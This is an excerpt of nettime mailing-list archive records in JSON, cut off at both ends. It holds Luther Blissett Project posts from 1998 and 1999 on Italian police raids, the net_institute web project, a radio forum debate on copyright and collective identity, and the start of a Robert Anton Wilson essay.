                "content": "\nA Luther Blissett press release\nBologna, September 4th, 1998\n\nPAEDOPHILES AND THE POLICE STATE\nor: the ignominious end of liberal-democratic lies\n\nIt is difficult to speak when you're surrounded by hysteria,\nsuperficiality and ignorance, criticisms are published in invisible\nparagraphs, and District Attorneys choose psychological terrorism and\nseize the computers of the suspects (often preventing these people from\ndoing their jobs) though they know that a back-up of the hard-discs would\nbe enough. \n\nThe mega-raid against the 'Internet paedophiles' is the umpteenth,\ntragical farce. \"Paedophilia\" is a mere excuse for slandering the Internet\nas a horizontal, easy-accessible medium. As Franco Carlini writes on\ntoday's edition of *Il Manifesto* daily paper: 'The ignorance of the media\npeople (especially the Italian ones) magnifies anything that happens on\nthe Internet (mostly good things, sometimes very bad ones, just like in\nreal life), as though journalists stirred up a scandal because drug\ndealers call each other on the phone'. \n\nNaples' deputy DA Diego Marmo says that paedophilia is 'today's principal\nemergency', parallels paedophilia to the Mob and talks about a sort of\ninternational 'Paedophile Party'. \n \nWell, we presume that the situation in most of the raided towns and\ncountries is similar to that here in Emilia-Romagna, where the 'suspects'\nare: - Two 20-year-olds who visited 'dodgy' pornographic websites. Their\ncomputers and 'dodgy' diskettes have been seized by the DA office. - A\nretailer who brought some rolls of film to a photography shop. The\nphotographer developed the films and called the police. The police seized\nsome photographs of the retailer's 3-year-old daughter in the nude, and\npressed charges against the man. The local papers don't say much else. It\nis more than just to be suspicious, because the investigating magistrate\nis Lucia Musti. \n\nIt is absolutely normal [especially in latin countries] that parents take\nphotographs of their little sons and daughters playing on the beach or\ntaking a bath! Do you really think that child porn traffickers develop\ntheir films at common photography shops? \n\nThese are some devastating consequences of the new, absurd act on child\npornography, whose text could not be more ambiguous. Is the innocent\nphotograph of a child in the nude illegal? And what about a naked adult\nbesides the naked child, in a chaste, non-sexual situation? And the\npicture of a father carrying his naked baby in his arms? \n\nIt is a stupid emergency act that was written and passed on the wave of\nmoral panic. Far from solving the problem of child abuse, the act is going\nto create further moral panic. It is also a liberticide law that violates\nprivacy. We're shooting ahead towards becoming a police state. \n\nWe expect the police to seize our computers for having written this\nrelease. We even expect to be arrested for having written *Lasciate che i\nbimbi*. \n\nThe Luther Blissett Project - Bologna\n\nThe Luther Blissett Mythopoetic On-line Guide:\nhttp://www.geocities.com/Area51/Rampart/6812\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Sun, 02 Sep 2001 14:51:08 +0200",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199809050841.JAA03680 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9809/msg00013.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> Paedophiles and the Police Sta"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett <pasquine {AT} dsc.unibo.it>",
                "id": "00142",
                "content": "\ndear all,\n\nnet_institute's database is running! see http://net-i.zkm.de\n\nThe net_institute is  not another  institution  dealing with\nnew media but an  attempt to  develop  horizontal strategies\nfor cultural production and to deconstruct traditional power\nmodels.\n\nNet_institute's  web site is, in particular, a collaborative\ntool  to develop  a cultural  infrastructure  in Italy and a\nmedia  lab  in Bologna,  but it  features  also a map of the\neuropean mediascape, which you are invited to construct. The\nbuilding  process is completely  public  and via the web and\nmakes up net_institute's mediatic image as well.\n\nYou  all are invited to add your projects, sites, media cen-\nters, mailing  list, bedrooms, etc.  to the  european media-\nscape map and, if you like it, to net_institute's structure.\nFurther instructions are provided on the site.\n\nNet_institute's  web interface wants  to work as a groupware\nfor the collaborative construction of networks and organisa-\ntions. It could  be an useful  example for platforms such as\nEuropean Cultural Backbone  or urban networks such as Inter-\nnational City Federation and Open-Berlin.\n\nThe  interface can be improved.  This is the  first version,\nnot finished.  In the next weeks a more mass-friendly portal\nwill be designed. Comments, critics and support are welcome.\nAt  present  a listserver  is needed to run  net_institute's\nmailing  list.  Collaborations  to apply  this idea to other\ncities or urban projects are welcome as well.\n\nmailto:net-i {AT} zkm.de\n\nA big thank to QWERG.com and Walter van der Cruijsen.\n\ngreetings,\nLuther Blissett\n\n\n[PS. The net_institute is the concept evolution and the\nurban implementation of Luther Blissett as an \"open pop\nstar\" and multi-user tool. More info in the next weeks.]\n\n\n\n\n\n\n____________________________________________________________\n\n\nThe net_institute.\n\n\nThe net_institute is a medium-building. It is an hybrid\nbetween the net of the metropolis and the information\narchitecture of the internet, between landscape and\nmediascape. The net_instute is a physical, social, mediatic\nspace controlled and constructed by the net. The content and\nthe structure produced on its web interface draw and shape\nthe urban space. The net_institute doesn't consider the city\nan established identity but a collective representation\ncontinuously reshaped by its users.\n\nMcLuhan: \"We shape our tools and thereafter they shape us\".\nThe net_institute is a trans-architecture project. It's not\na city-metaphor for another alienated virtual community but\nan urban project to embody the structure and the content of\nthe net. It doesn't imitate the appareance of the medium but\nits deep framework.\n\nFranco Berardi aka Bifo: \"Metropolis is the becoming-\ncyberspace of the urban space\". The concept of urban\ninterface is the opposite of the digital communities and\ncities. The urban interface breaks with the cultural\ndominance of discourses about cyberspace, virtual,\nsimulation. The net_institute is a physical, social,\nmediatic space controlled and constructed by the net.\n\nThe 'institute' name and the image were chosen to abandon\nthe hype about virtual and cyberspace, and as a strategy of\nretro-avangardism [see Neue Slovenische Kunst, Electronic\nEmbassy, Laibach, Luther Blissett itself]. They are also a\njoke and a reflection about the institutionalisation of\nsubcultural movements.\n\nThe net_institute is a project of \"hacking\" of the\narchitectural and urbanistic code, not only of information.\nHacking means deconstructing a tool to understand its\nworking and to reconstruct in a personal, creative way. In\nthe jargon of computer science, the net_institute is the\nimplementation of the net in another environment.\n\nThe net_institute is a multiform building. Its name means\nnet_worked_institute. Everyone can integrate net_institute\narchitecture with public or personal spaces, bodies, events,\ndevices, theories, computers, photos, files, imgs, projects.\nThe image and the structure produced on the net thereafter\nshape the urban space. The net_institute uses the net to\ncatalyze social life.\n\nThe net_institute web interface works as groupware, a space\nfor collective brainstorming, a field for the connective/\ncollective intelligence. It structures itself, in progress,\nto be a \"technology of intelligence\" [Pierre Levy]. The\nnet_institute's framework, functions, links, spaces can be\nredefined by users experimenting hybrid, creative,\nsurrealistic architectures, by making up other \"institutes\".\n  The interface works as a conceptual map that has to be\nsubsequently developed in the real space.\n\n\n\n____________________________________________________________\n\n                              _\n      net_institute     __   (_)\n                _______/ /  __\n               /__  __  /  / /\n                 / /_/ /__/ /__\n                / ____________/\n               /_/\n                     http://net-i.zkm.de\n                     mailto:net-i {AT} zkm.de\n\n____________________________________________________________\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Sun, 19 Dec 1999 19:18:57 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "199912191802.NAA02303 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9912/msg00142.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett",
                "subject": "<nettime> net_institute's kernel is running!"
            },
            {
                "id": "00137",
                "content": "\nAfter I was interviewed by Jason Di Rosso on Australia's ABC national\nradio station, an interesting discussion on the LBP started on their\nwebsite's \"media responsibility forum\", which is accessible from\nabc.net.au/ by clicking on \"radio national\" and then on \"forum\". I could\nanswer some questions about copyright and alleged \"ambiguities\" (e.g. the\nissues raised by McKenzie Wark), however, I'm about to commit seppuku, and\nI'm more interested in a zen approach - why try to set the records\n\"straight\"?  Blissetts will find their own ways.\n\n\n\n>Return-Path: <jdirosso {AT} hotmail.com>\n>X-Originating-IP: [203.101.13.98]\n>From: \"jason di rosso\" <jdirosso {AT} hotmail.com>\n>To: luther {AT} syntac.net\n>Subject: chat su LBP\n>Date: Mon, 22 Nov 1999 19:23:25 PST\n>\n>From: Glenn 23/11/99 10:27:23\n>\n>Subject: re: Luther Blissett post id: 389\n>\n>The Blisset project seems to attack a lot of the fundamental assumptions \n>that we make about copyright and individual identity. It also attacks a lot \n>of the traditional assumptions of art about 'individual ownership and \n>identity\". How do you think the traidtional 'arts' are engaging with those \n>sorts of questions?\n>From: jason di rosso (panellist) 23/11/99 10:39:06\n>\n>Subject: re: Luther Blissett post id: 391\n>\n>I can only answer your question in terms of someone who has observed the \n>Luthers from a distance and not as a spokesperson for the Luther Blissett \n>Project of course. A lot of what gets written about the movement seems to be \n>quite patronising...I don't think the traditional art industry think much \n>about the idea of keeping thoughts and concepts free...my interpretation is \n>that the Luther Blissetts view the trad. art world as being totally \n>dependant financially on mecchanisms like copyright and concepts like the \n>uniqueness of the artist etc...\n>From: Greg 23/11/99 10:49:46\n>\n>Subject: re: Luther Blissett post id: 395\n>\n>I didn't hear the segment - i just got an email about this, so maybe this \n>has already been addressed on the program. But where does the name \"Luther \n>Blissett\" comes from? Why was that name chosen?\n>\n>What is the origin of \"Luther Blisset\"\n>From: Bernice 23/11/99 11:10:27\n>\n>Subject: re: Luther Blissett post id: 412\n>\n>Dear Jason,\n>\n>Thank you for your item about the Italian Blissett. Brilliiant!!\n>\n>The whole copyright thingo is mean-spirited way in which 'boomers' hold on \n>to their crumbling empire of intellectual edifices. It's a racket heavily \n>protected by a privileged few who invoke sententious arguments of morality.\n>\n>It doesn't work anymore. ideas need to be free to wander, meet new ideas, \n>make friends, enemies, and produce new ways of seeing, hearing, \n>interpreting.\n>\n>Let's hear it for Blissett!!!\n>\n>From: jason di rosso (panellist) 23/11/99 11:15:22\n>\n>Subject: re: Luther Blissett post id: 413\n>\n>Luther Blissett was an Afro-Carribean footballer who played in England and \n>Italy in the early eighties. I believe the choice of name was just random, \n>absurdist if you like.\n>Check out the site at syntac.net/lutherblissett...it's done by some Italians \n>but it's got a lot of English content...\n>\n>From: marcus westbuy (panellist) 23/11/99 11:19:36\n>\n>Subject: re: Luther Blissett post id: 417\n>\n>Jason, where does your interest in Mr Blissett etc. come from? Have you done \n>stories on similar projects before?\n>\n>Oh, and has anyone asked the footballer what he thinks about them stealing \n>his name? Maybe he should have trademarked it (as many sports stars are \n>doing) :-)\n>\n>From: jason di rosso (panellist) 23/11/99 11:31:02\n>\n>Subject: re: Luther Blissett post id: 425\n>\n>I lived in Italy in 1995 and some of the friends I happened to make during \n>that time were Luthers. Though I must point out the Luther Blissett Project \n>has no nationality, I am broadly interested in political and cultural \n>dissent in Italy in particular. Unfortunately I have not done any other \n>stories in this area so far. That part of the world has a lot of very \n>interesting ideas, for the most part drowned out by the huge advertising \n>machine that promotes Italy's official cultural icons in fashion, tourism \n>and art history\n>\n>From: jason di rosso (panellist) 23/11/99 11:37:43\n>\n>Subject: re: Luther Blissett post id: 429\n>\n>As for the footballer's opinion regarding the use of his name...er, yes I \n>seem to recall an open letter to the football club he is currently involved \n>with (as part of the managerial team I think) which sort of addresses the \n>issue. The Times wrote an article on it actually, and it was in reference to \n>this that a letter was sent sort of explaining the whole thing and \n>apologising for any offence that may have been caused. I think the letter \n>can be found at the syntac.net/lutherblissett site.\n>\n>From: Generic 23/11/99 10:34:25\n>\n>Subject: Copyright post id: 390\n>\n>Copyright is a huge cultural and political issue that a lot of the media and \n>the art world aren't really engaging with. It underpins so much of the \n>structure of both media and the arts but it is increasingly being challenged \n>by people who see it as the same system that underlies the extension of \n>intellectual property to trademarking words and phrases, and the system that \n>leads to a 'human genome project' where people are effectively copyrighting \n>the code that is at the heart of life itself.\n>\n>The problem is that most artists and arts bodies in Australia refuse to ask \n>any questions beyond tinkering at the edges of the current copyright \n>regeime. I think the Luther Blissett project is a leap in the right \n>direction.\n>\n>From: suzie 23/11/99 10:40:27\n>\n>Subject: re: Copyright post id: 392\n>\n>the arts community are effectively apologists for - if not boosters of, the \n>commercial notion of intellectual property as extended to cultural property. \n>Culture isn't MADE by individuals, it is a community endeavour made by many \n>people.\n>\n>The whole notion of the \"professional artist\" makes the artist nothing more \n>than a commerical commodity who creates, buys and sells, intellectual \n>property. I much prefer the artist as provocateur idea as explored by the \n>likes of the Blissetts. Perhaps Arts Today should make an editorial policy \n>of calling all their guests \"Luther Blissett\" - particularly the high \n>profile ones.\n>\n>From: adam ford 23/11/99 11:02:34\n>\n>Subject: re: Copyright post id: 402\n>\n>Suzie -\n>\n>are you against the idea of an artist making money from their work? I have a \n>particular spin on this idea - I prefer NOT to make a career out of my art \n>(writing) because I don't wish to put my art under any sort of \"survival\" \n>pressure, but I respect and understand the decision of other artists who \n>want to do that.\n>\n>It seems to me that copyright is one of the tools that can allow an artist \n>to make that choice.\n>\n>adam ford\n>\n>From: Suzie 23/11/99 11:10:15\n>\n>Subject: re: Copyright post id: 411\n>\n>I am not AGAINST artists making money from their work.\n>\n>But copyright is a system with tragic consequences - it is being extended \n>into every aspect of life and property and it is a really problematic \n>system. THe politics of copyright is a system that artists should be \n>challenging NOT boosting, that's all...\n>\n>At the very least, there should be some sort of space within the arts to \n>debate those issues rather than the relentless boosting of it in the name of \n>protecting \"artists rights\"\n>\n>From: Bernadette 23/11/99 10:46:52\n>\n>Subject: Theft and vandalism post id: 393\n>\n>Some of the actions that Mr Blissett was speaking about were clearly on the \n>wrong side of legality: stealing statues etc. As i understand it, Luther \n>Blissett is 'many people' and i don't understand. When you said in the \n>program that \"Luther Blissett\" said X does that mean that is an 'official' \n>position or could that have been anyone?\n>\n>Is there such a thing as an official 'Luther Blissett?'\n>\n>From: jason di rosso (panellist) 23/11/99 10:59:12\n>\n>Subject: re: Theft and vandalism post id: 398\n>\n>I don't think it's my place to comment about the illegality issue, however \n>the question about the \"official\" Luther Blissett is a good one.\n>The guy I spoke to is someone who I know has been actively using the name \n>for the last few years. He is not an official Luther, but he did co-write \n>the novel \"Q\" and has been following events in Italy enough to be able to \n>relay them to a wider audience. This does not mean he is in contact with or \n>even knows the other Blissetts talked about in the interview. For more info \n>about some Italian Luthers, an interesting site is at \n>syntac.net/lutherblissett\n>\n>\n>From: adam ford 23/11/99 11:06:28\n>\n>Subject: re: Theft and vandalism post id: 407\n>\n>There's an australian Luther Blisset, who produces a zine that's been called \n>at various times: STEAL THIS ZINE, MAYBE SHE'S BORN WITH IT, NERVOUS \n>DANDRUFF and BLOWN COLON. He's kind of an erotic linguistic terrorist.\n>\n>From: Svengali 23/11/99 11:50:18\n>\n>Subject: Italian Media post id: 439\n>\n>Jason, to ask an embarassingly broad question, you were talking about living \n>in Italy for a while and i am interested in how the media climate there \n>effects the politcal culture. I understand that Italy has a very \n>concentrated TV environment (with Ex PM Silvio Berlesconi ) owning most if \n>not all of the commercial networks. But i also understand that there is a \n>really anarchic radio culture in Italy. Can you put the Luther Blissett \n>thing into a braoder cultural/political media context and maybe talk a bit \n>more about the things you observed in Italy.\n>\n>From: jason di rosso (panellist) 23/11/99 12:11:16\n>\n>Subject: re: Italian Media post id: 451\n>\n>What I witnessed in Italy in 95 and on subsequent visits was a thriving, \n>extremely militant and class conscious underground. By underground I mean \n>small independant publishers, community radios, and a network of self \n>administered squats across italy open to the public for everything from \n>raves to emergency housing for migrants to theatre performances.\n>Yes, the media ownership in Italy appears very dire, but I know too little \n>about it to speak.\n>On the other hand I saw a very healthy and active \"counter culture\" as well.\n>Luther Blissett (in Italy) i think is part of this...the Blissetts certainly \n>echo some sentiments that can be found across the spectrum of the Italian \n>underground.\n>\nFrom: McKenzie Wark (panellist) 23/11/99 14:59:17\n\nSubject: re: Copyright post id: 533\n\nI like the idea of calling everyone who appears on the ABC Luther\nBlissett! Maybe there should be a Blissett day, where everything is by\nLuther. \n\nCopyright is very weak protection. With writing, it really only protects\nvery specific structures of words. Nothing stops another writer borrowing\na story or some other element and messing with it. What's a lot more\ncomplicated is the protection of recorded media such as film, which is a\ncumbersome system.  The idea of copyright has always been about striking a\nbalance between protecting the rights of the creator with the rights of\nother people to use the work to create something new, and the rights of\nthe public to have access to works that might be of benefit. \n\nMcKenzie\n\nFrom: McKenzie Wark (panellist) 23/11/99 14:53:12\n\nSubject: re: Luther Blissett post id: 530\n\nThere's some ambiguities in the Blissett project -- is it OK to use\nsomeone's name against their will, for example? Blissett wasn't too happy\nabout it.  How would you feel if someone started using your name for\nthings you might have nothing to do with. \n\nThe other problem is that if there is no protection at all for the artist,\nthen how can anyone make a living? It's not just companies that own\ncopyrights. I kinda like the Luther Blissett cd project, where artists\ncontribute music and the cd goes out under the name of Luther Blissett. It\nposes all these nice ambiguities about authorship. But is compete\ndisregard of all copyright really a good policy?  In the end, it benefits\nthe owners of the means of distribution. If content were free. they'd\nstill be charging for access to it, but the content creators wouldn't see\na cent. \n\nMcKenzie\n\n<http://www.syntac.net/lutherblissett>\nA clear, thorough LB primer - English\n\n<http://www.LutherBlissett.net>\nThe (in)Complete Archives 1994-99 - Italian/English\n\n<http://www.geocities.com/Paris/Leftbank/6815>\nLuther Blissett and the \"Huelga de Arte\"(Art strike 2000-2001) - Spanish\n\n<http://www.contrast.org/kg>\nLuther Blissett and Kommunikationsguerilla - German\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9911/msg00137.html",
                "list": "nettime_l",
                "author_name": "Luther Blissett Project Newz",
                "subject": "<nettime> Oz's talking about Luther Bliss",
                "from": "Luther Blissett Project Newz <luther {AT} syntac.net>",
                "follow-up": [
                    {
                        "from": "Luther Blissett Project Newz <luther {AT} syntac.net>",
                        "content": "\nAt 15.20 23/11/99 EST, Mnherman wrote:\n\n>In a message dated 11/23/1999 9:43:05 AM Central Standard Time, \n>luther {AT} syntac.net writes:\n>\n>> >are you against the idea of an artist making money from their work?  \n\n\nActually, I *do* make a living out of anti-copyright stuff. \n\nLuther Blissett's books have always been anti-copyright, they can be\ncopied and re-manipulated, not only self-publications, also works offered,\nnay, *imposed* to major publishers. The main reason why we achieved this\nis the fame and reputation LB mobsters conquered after years of\ncommunication guerrilla. \n\nThis doesn't prevent the people who put the works together (call us\n\"authors\", if you can't help using this term) from gaining their\npercentage each time someone purchases a copy. Most of the texts we have\npublished in Italy are also downloadable from the Net, and yet people've\nkept buying them in bookstores, maybe because the book format still has\nits fans.\n\nIn this way, we are hardly going to be millionaires, but we *do* make\nmoney, pay rent and bills, eat twice a day, buy stuff, travel around. I\neven have an agent! \n\nGet rid of all false dichotomies, the objections taken by greedy\nnet-artists after the rise of 0100101010101010-style art theft make no\nsense at all.\n\nWhen we got the novel *Q* bought by a big Italian publisher, we started a\nhard struggle with their legal representatives - they said there was no\nway they could waive copyright on the book - after months of negotiation,\nwe found a good compromise - now the novel can be copied, put into\nelectronic circulation, partially re-written etc. by readers, on the\ncondition their purpose isn't strictly commercial, whereas movie and TV\nproducers, as well as other corporate publishers, must pay through their\nnoses to buy the rights. I think this is a good precedent to start from\nand head into the second phase of the copyright wars. Why should\nanti-copyright ignore the class issue?\n\n\nLB\n\n\n<http://www.syntac.net/lutherblissett>\nA clear, thorough LB primer - English\n\n<http://www.LutherBlissett.net>\nThe (in)Complete Archives 1994-99 - Italian/English\n\n<http://www.geocities.com/Paris/Leftbank/6815>\nLuther Blissett and the \"Huelga de Arte\"(Art strike 2000-2001) - Spanish\n\n<http://www.contrast.org/kg>\nLuther Blissett and Kommunikationsguerilla - German\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00142",
                        "date": "Wed, 24 Nov 1999 13:57:51 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "199911241403.JAA02522 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9911/msg00142.html",
                        "content-type": "text/plai",
                        "author_name": "Luther Blissett Project Newz",
                        "subject": "Re: <nettime> Oz's talking about Luther Bliss"
                    },
                    {
                        "from": "Nmherman {AT} aol.c",
                        "content": "\nIn a message dated 11/23/1999 9:43:05 AM Central Standard Time, \nluther {AT} syntac.net writes:\n\n> >are you against the idea of an artist making money from their work? I have \na \n>  >particular spin on this idea - I prefer NOT to make a career out of my \nart \n>  >(writing) because I don't wish to put my art under any sort of \"survival\" \n>  >pressure, but I respect and understand the decision of other artists who \n>  >want to do that.\n\nI think this is a pretty interesting question.  If we call everything\n\"art,\" then you are either for or against people having money.  If we call\nsome things art and some things by another name, there is a possibility of\nmoney only being exchanged for the non-art activity.  The area we call\n\"art\" could be completely excluded from the cash economy. \n\nSometimes we wish to give money to people who are doing things we like. \nCall it a gift, geras, honor-prize.  What would it mean to never exchange\nmoney for any kind of art?  After all, if no art is copyright you can just\nmake your own copy for free.  It is possible that some artists could\ndecide not to earn or accept any financial reward directly from their art. \nThus all music would be free, all writing, all painting, all sculpture,\nfilm, video, and entertainment. \n\nWe don't realize the enormous consequences of charging money for art.  The\nfirst and permanent result of art for pay is the creation of a hierarchy,\na professional class.  This is analgous to the caste systems of more\nancient cultures, but the arbitrary and conventional process of selection\ngoes unnoticed if the illusion of a free market prevails.  If everyone has\naccess to an art medium--painting for example--there can be no harm or\nhypocrisy in profit-making by the most talented and competitive painters. \nOf course this logic is the mirror of the corporate ethos, ridiculous on\nits face but accepted wisdom nonetheless. \n\nThe danger of a digital stock market is that money looks after itself,\nfirst and foremost.  At least in the USA, preserving the value of\ninvestments is a top governmental priority.  Recession is not an option\neven if the economy is disastrously out of balance with concrete and\nverifiable externalities. \n\nNo one wants to deny him or herself the convenience and gratification of\npayment, endorsement, ordination, whatever.  However, we may be entering a\nstage in history for which the commercial (profit-seeking) mechanism of\nmedia production is completely unsuitable and possibly dangerous. \nAntitrust law has been used in the past to protect diversity for producers\nand consumers.  But when actual market presence for a given activity is\nlimited to unrealized and unrecognized potential, an externality caused by\ninsufficient capitalization, monopoly practices can become confused with\nsimple efficiency. \n\nWhich way is the global market going on the issues of copyright and the\nsuper-corporation in media production?  More or less along the path set by\nReagan when he canceled the Fairness in Reporting Act and allowed\ntelecommunication to self-regulate.  Viacom expunges uncomfortable content\nfrom its Chinese broadcasts in order to stay in with the government there. \nThese kinds of problems may ultimately prove to be irrelevant and\ninevitable, should the multinationals actually achieve the utopia they're\nplanning.  From my personal perspective however, I doubt the prospects of\nthe WTO most seriously and consider intervention now to be the number one\njob of everybody. \n\nTo the extent that artists remain in their prescribed economic niche, they\nwill have no effect on the larger developments of the next fifty years. \nBut this is nothing new.  Artists have always posed a threat to economic\ninterests because markets can only be organized through media. \n\nMax Herman\nThe Genius 2000 Project\nwww.geocities.com/~genius-2000\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00144",
                        "date": "Tue, 23 Nov 1999 15:20:41 EST",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "199911241411.JAA02600 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9911/msg00144.html",
                        "content-type": "text/plai",
                        "author_name": "Nmherman",
                        "subject": "Re: <nettime> Oz's talking about Luther Bliss"
                    },
                    {
                        "from": "Luther Blissett Project Newz <luther {AT} syntac.net>",
                        "content": "\nAt 15.20 23/11/99 EST, Mnherman wrote:\n\n>In a message dated 11/23/1999 9:43:05 AM Central Standard Time, \n>luther {AT} syntac.net writes:\n>\n>> >are you against the idea of an artist making money from their work?  \n\n\nActually, I *do* make a living out of anti-copyright stuff. \n\nLuther Blissett's books have always been anti-copyright, they can be\ncopied and re-manipulated, not only self-publications, also works offered,\nnay, *imposed* to major publishers. The main reason why we achieved this\nis the fame and reputation LB mobsters conquered after years of\ncommunication guerrilla. \n\nThis doesn't prevent the people who put the works together (call us\n\"authors\", if you can't help using this term) from gaining their\npercentage each time someone purchases a copy. Most of the texts we have\npublished in Italy are also downloadable from the Net, and yet people've\nkept buying them in bookstores, maybe because the book format still has\nits fans.\n\nIn this way, we are hardly going to be millionaires, but we *do* make\nmoney, pay rent and bills, eat twice a day, buy stuff, travel around. I\neven have an agent! \n\nGet rid of all false dichotomies, the objections taken by greedy\nnet-artists after the rise of 0100101010101010-style art theft make no\nsense at all.\n\nWhen we got the novel *Q* bought by a big Italian publisher, we started a\nhard struggle with their legal representatives - they said there was no\nway they could waive copyright on the book - after months of negotiation,\nwe found a good compromise - now the novel can be copied, put into\nelectronic circulation, partially re-written etc. by readers, on the\ncondition their purpose isn't strictly commercial, whereas movie and TV\nproducers, as well as other corporate publishers, must pay through their\nnoses to buy the rights. I think this is a good precedent to start from\nand head into the second phase of the copyright wars. Why should\nanti-copyright ignore the class issue?\n\n\nLB\n\n\n<http://www.syntac.net/lutherblissett> \nA clear, thorough LB primer - English\n\n<http://www.LutherBlissett.net>\nThe (in)Complete Archives 1994-99 - Italian/English\n\n<http://www.geocities.com/Paris/Leftbank/6815>\nLuther Blissett and the \"Huelga de Arte\"(Art strike 2000-2001) - Spanish\n\n<http://www.contrast.org/kg>\nLuther Blissett and Kommunikationsguerilla - German\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00145",
                        "date": "Tue, 23 Nov 1999 22:10:01 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "199911241409.JAA02585 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9911/msg00145.html",
                        "content-type": "text/plai",
                        "author_name": "Luther Blissett Project Newz",
                        "subject": "Re: <nettime> Oz's talking about Luther Bliss"
                    }
                ],
                "message-id": "199911231411.JAA29393 {AT} bbs.thing.net",
                "date": "Tue, 23 Nov 1999 15:19:05 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Luther Blissett Project Newz <luther {AT} syntac.net>",
                "id": "00152",
                "content": "\nA prestigious yank's whimsical mythopoesis on the Luther Blissett Project:\nis Watford in Ireland? Is Ireland even in Yoorope? Enter none other than\nthe American conspiracy novelist Robert Anton Wilson!\n\n\nhttp://www.realastrology.com/oracle/robert-oct.html\n\n\nReality Loop-the-Loops\n\n\nI AM HE AS SHE IS ME AS WE ARE ALL TOGETHER\nBy Robert Anton Wilson\n\n\n\"In the dialectic between nature and the socially\nconstructed world, the human organism is\ntransformed. In this dialectic man produces\nreality and thereby produces himself.\" \n--Berger and Luckman, The Social Creation of Reality\n\nWould you believe that an English football star has stolen the infant\nJesus--four times, from four different Italian churches--and is holding him\nor them for a ransom of 100, 000, 000 lire?\n\nWell, neither would I, but it seems to have happened, sort of. But then\nmost things in this confusing modern world only seem to have happened  . .\n. sort of. . . .\n\nLuther Blissett, to start at the top, was once the best footballer in\nEngland, as well known and beloved as O.J. Simpson was over here, before he\ngot accused of cutting throats. Now Mr. Blissett is a coach in Watford,\nIreland. Unlike O.J. he has never been charged with a major felony, or even\nwith jay-walking. He says he knows nothing about the other Luther Blissett\nwho, in addition to holding Jesus for ransom, has written a number of\nanarchist tracts, including a left-wing history of the Rennaisance, and is\nsuspected, by the Italian authorities, of being a group rather than a person.\n\nSome, of course, claim he is the Devil. \n\nIt seems to have begun--the miraculous multiplication of Blisetts--when the\ntrue, original Luther Blissett became a hero, and a controversial figure,\nin Milan while playing football there 10 years ago. Most sports fans loved\nhim for his derring-do, but Italian neo-fascists hated him for the double\noffenses of [a] being black and [b] winning higher scores than white players.\n\nLuther Blissett the First (as we better call him for clarity) went back to\nEngland, remembering his triumphs and trying, I suppose, to forget the\nracism. \n\nLuther Blissett the Second, Third, Fourth, and Fifth manifested a few years\nlater when four workers were arrested for riding on a train without a\nticket. Each insisted his name was \"Luther Blissett,\" and stuck to that\nname, even when hauled into court for sentencing.\n\nThen other Luther Blissetts began to appear, on Internet and even in\nbookstores. As to whether he or they were or are a group or an individual,\nthey or he (or she) offered the following explication:\n\n\"Luther Blissett is not a 'teamwork identity' as reported by the\njournalists; rather, it is a multiple single. The 'Luther Blissetts' don't\nexist, only Luther Blissett exists. Today we can infuse ourselves with\nvitality by exploring any possibility of escaping conventional identities.\nThe struggle is still against the language of the powers-that-be.\" \n\nIf that isn't perfectly clear to non-anarchists, recall the Dada movement\nin Switzerland during World War I. The Dadaists, in total rebellion against\nthe insanity of war and the general insanity of everything else, held\npoetry readings at which the poet was drowned out by other Dadaists with\nnoise-makers. They had art exhibits where the audience was provided with\naxes at the door and told to destroy any paintings they didn't like. They\nheld lectures in public urinals. In short, they began the \"post-modern\"\nrevolution against conventional \"identities\" and the language that divides\nthings and people into classes.\n\nIn 1923, in Paris, the Surrealists held their first art show. To enter the\ngallery, the audience had to pass through a garden with an incongruous taxi\nstanding in the way. Working their way around the cab, they had the\nopportunity to observe that it was raining inside of it but not outside. (A\nwhimsy of Salvidor Dali.) Once in the gallery, the audience-- or the\nvictims, as you prefer--confronted 